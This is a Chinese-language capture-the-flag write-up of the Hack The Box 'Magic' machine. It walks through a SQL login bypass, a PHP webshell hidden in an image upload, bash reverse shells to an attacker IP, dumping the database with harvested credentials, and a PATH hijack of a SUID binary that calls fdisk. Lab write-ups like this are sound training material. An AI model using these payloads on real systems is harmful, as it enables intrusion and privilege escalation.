HTB 学习笔记
【Hack The Box】linux练习-- Magic
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月21日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 文件上传
- 图片注入
- mysqldump的使用
- 提权
- 内核提权
- 信息枚举
- 环境变量挟持一个
信息收集
2/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
页面左下角存在一个登录界面
而在这里我们没有任何的弱口令,所以接下来我开始爆破目录
希望能从之后的目录中得到一些启示
gobuster dir -u http://10.129.17.255/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php
得到结果如下
/images (Status: 301)
/index.php (Status: 200)
/login.php (Status: 200)
/assets (Status: 301)
/upload.php (Status: 302)
/logout.php (Status: 302)
/server-status (Status: 403)
我将对images深入扫描
因为跟图片相关,并且他是403
我想这个目录于我而言是必须的
在目录爆破的同时我尝试对登陆框进行sql注入
首先尝试了账号密码均为admin' or 1=1
依旧说用户名或者密码错误‘
但是当我用户名输入admin,密码输入’时候,没有密码错误提示
说明此处存在sql注入
我将按照
https://book.hacktricks.xyz/pentesting-web/login-bypass/sql-login-bypass
进行尝试
最终,当我的用户是下面这的的时候我成功了
' or 1=1-- -
文件上传
直接上传不行
bp抓包修改也不行
加gig头部也行
双后缀似乎可以
因为它显示了不一样的东西,问我想要在这里做什么
这说明我可能是找到了正确的路?
不过我刚才抓包发现我上传的文件都被作为请求数据发过去的
所以应该还是不行
我上传了一个图片,发现成功是这样的,左上角会提示,只有也就证明了我上传的后门文件被检验了
而说明我刚才的后门没有上传成功
至此我开始思考,我该如何应对
首先,常见的三种过滤如下
文件扩展名阻止/允许列表;
文件的mimetype 或 Magic bytes 必须与允许的类型相匹配;
Content-Type图像上的标题必须是图像。
第一种我们可以用双后缀绕过
对于后两种,我们可以用图片注入的方法
图片注入
首先我们要搞一张正常的图片
直接vi打开图片
<?php system($_GET[‘cmd’]); ?>
然后随表找个地方插入一段
改个名
同时我们刚才深层爆破image目录也发现了他下面的uploads文件夹,我们的图片就在这其中应该
尝试访问并传入参数cmd=id
全文搜索一下uid,找到了,说明rce成功
接下来url编码随便一个反弹shell命令即可
应该是被清理掉了
结果404了,我再次尝试一次,这次我会快速操作
需要你自己进行url编码,防止出错
http://10.129.17.255/images/uploads/haha.php.jpeg?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.29/8888%200%3E%261%27
在/home中我发现了另一个用户theseus
并且我无法看到user.txt
所以我将努力获得theseus的权限
所以我作为www用户,我将在我的magic建站目录下仔细枚举,正如上面的
我发现了很多php文件,我将cat他们,看看有没有泄漏的信息
他们都是www权限,所以我将暂不考虑他们所带来的命令执行,只希望在它们之中获得凭据
发现信息
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
我将尝试密码复用
失败,那就只能老老实实去数据库了
我将查看数据库的开放情况
netstat -ntulp
他的本地没有mysql的执行文件
于是我输入mysql[tab][tab]
会显示出mysql的所有可用工具
mysql
mysql_config_editor mysqld
mysql_embedded mysqld_multi
mysql_install_db mysqld_safe
mysql_plugin mysqldump
mysql_secure_installation mysqldumpslow
mysql_ssl_rsa_setup mysqlimport
mysql_tzinfo_to_sql mysqloptimize
mysql_upgrade mysqlpump
mysqladmin mysqlrepair
mysqlanalyze mysqlreport
mysqlbinlog mysqlshow
mysqlcheck mysqlslap
我发现了mysqldump
mysqldump的使用
mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic
而后在所有信息中,我们看到了admin
还有一个密码,我将再次尝试密码复用
这一次成功了
提权
内核提权
[+] [CVE-2021-3156] sudo Baron Samedit
[+] [CVE-2021-3156] sudo Baron Samedit 2
找到两个,没有高可能,暂时不考虑
信息枚举
正常的开放631没有什么特殊服务
find / -user root -perm -4000 2>/dev/null -ls
发现了user用户可以执行的并且是root权限的二进制文件
执行看一下
sysinfo打印出一堆调用
我将用ltrace来看看他具体调用了那些函数
我发现了一个popen打开了fdisk
并且fdisk没有绝对路径,我将挟持fdisk
环境变量挟持一个
原理就是在当前目录写一个名字相同的二进制文件,但是里面输入的是反弹shell命令,然后将当前目录添加到环境变量,然后在当前目录执行脚本,就会调用你自己写的命令
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.29/443 0>&1' > fdisk
而后cjmod +x fdisk
本地开个端口,然后执行一下
检验一下能否正常运行
export PATH=/tmp:$PATH
echo $PATH
确实写进去了
ok